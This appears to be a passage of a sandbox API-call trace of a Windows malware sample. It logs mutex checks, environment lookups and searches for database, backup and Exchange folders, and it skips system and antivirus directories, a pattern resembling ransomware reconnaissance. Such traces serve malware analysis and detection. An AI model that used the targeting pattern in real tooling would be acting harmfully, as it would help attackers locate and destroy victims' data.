ftCreationTime.dwHighDateTime=0x1d54153, ftLastAccessTime.dwLowDateTime=0x6cff8640, ftLastAccessTime.dwHighDateTime=0x1d5407e, ftLastWriteTime.dwLowDateTime=0x6cff8640, ftLastWriteTime.dwHighDateTime=0x1d5407e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0059.389] GetLastError () returned 0x12 [0059.389] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0059.389] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0059.389] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0059.389] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.389] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.389] GlobalUnlock (hMem=0x440004) returned 0 [0059.389] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.389] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.389] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.389] GlobalUnlock (hMem=0x440004) returned 0 [0059.389] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.389] GlobalUnlock (hMem=0x44000c) returned 0 [0059.389] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.389] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.389] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.389] GlobalUnlock (hMem=0x44000c) returned 0 [0059.389] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.389] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.389] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.389] GlobalUnlock (hMem=0x44000c) returned 0 [0059.389] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.389] GlobalUnlock (hMem=0x440004) returned 0 [0059.389] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.390] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\Program Files\\Microsoft Office", len=0x21 | out: pbstr=0x18f784*="C:\\Program Files\\Microsoft Office") returned 1 [0059.390] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.390] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.390] GlobalUnlock (hMem=0x440004) returned 0 [0059.390] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.390] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.390] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.390] GlobalUnlock (hMem=0x440004) returned 0 [0059.390] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.390] GlobalUnlock (hMem=0x44000c) returned 0 [0059.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ↄR⅘R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0059.390] GetLastError () returned 0x3 [0059.390] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@℔R企@\x18䄌Q\x181")) returned 0xffffffff [0059.390] GetLastError () returned 0x2 [0059.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@婴U企@\x18?T\x18;")) returned 0xffffffff [0059.391] GetLastError () returned 0x2 [0059.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0059.391] GetLastError () returned 0x2 [0059.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0059.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@℔R企@\x18婴U\x18j")) returned 0xffffffff [0059.391] GetLastError () returned 0x2 [0059.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 37 [0059.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18q")) returned 0xffffffff [0059.392] GetLastError () returned 0x2 [0059.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\婰UP") returned 6 [0059.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꜤR企@\x18?T\x18y")) returned 0xffffffff [0059.392] GetLastError () returned 0x2 [0059.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0059.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18\x81")) returned 0xffffffff [0059.392] GetLastError () returned 0x2 [0059.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0059.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0059.393] GetLastError () returned 0x2 [0059.393] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0059.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0059.393] GetLastError () returned 0x2 [0059.393] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0059.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0059.393] GetLastError () returned 0x2 [0059.393] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.393] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0059.393] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.393] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.393] GlobalUnlock (hMem=0x44000c) returned 0 [0059.393] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.393] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.393] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.393] GlobalUnlock (hMem=0x44000c) returned 0 [0059.393] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.393] GlobalUnlock (hMem=0x440004) returned 0 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 46 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 15 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 11 [0059.394] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.394] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.394] GlobalUnlock (hMem=0x440004) returned 0 [0059.394] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.394] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.394] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.394] GlobalUnlock (hMem=0x440004) returned 0 [0059.394] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.394] GlobalUnlock (hMem=0x44000c) returned 0 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 15 [0059.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 11 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 9 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 18 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 28 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 10 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 8 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa10, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 9 [0059.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0059.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18뮘UÄP⓰R㬀") returned 13 [0059.395] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.395] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.395] GlobalUnlock (hMem=0x44000c) returned 0 [0059.395] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.395] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.395] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.395] GlobalUnlock (hMem=0x44000c) returned 0 [0059.395] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.395] GlobalUnlock (hMem=0x440004) returned 0 [0059.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 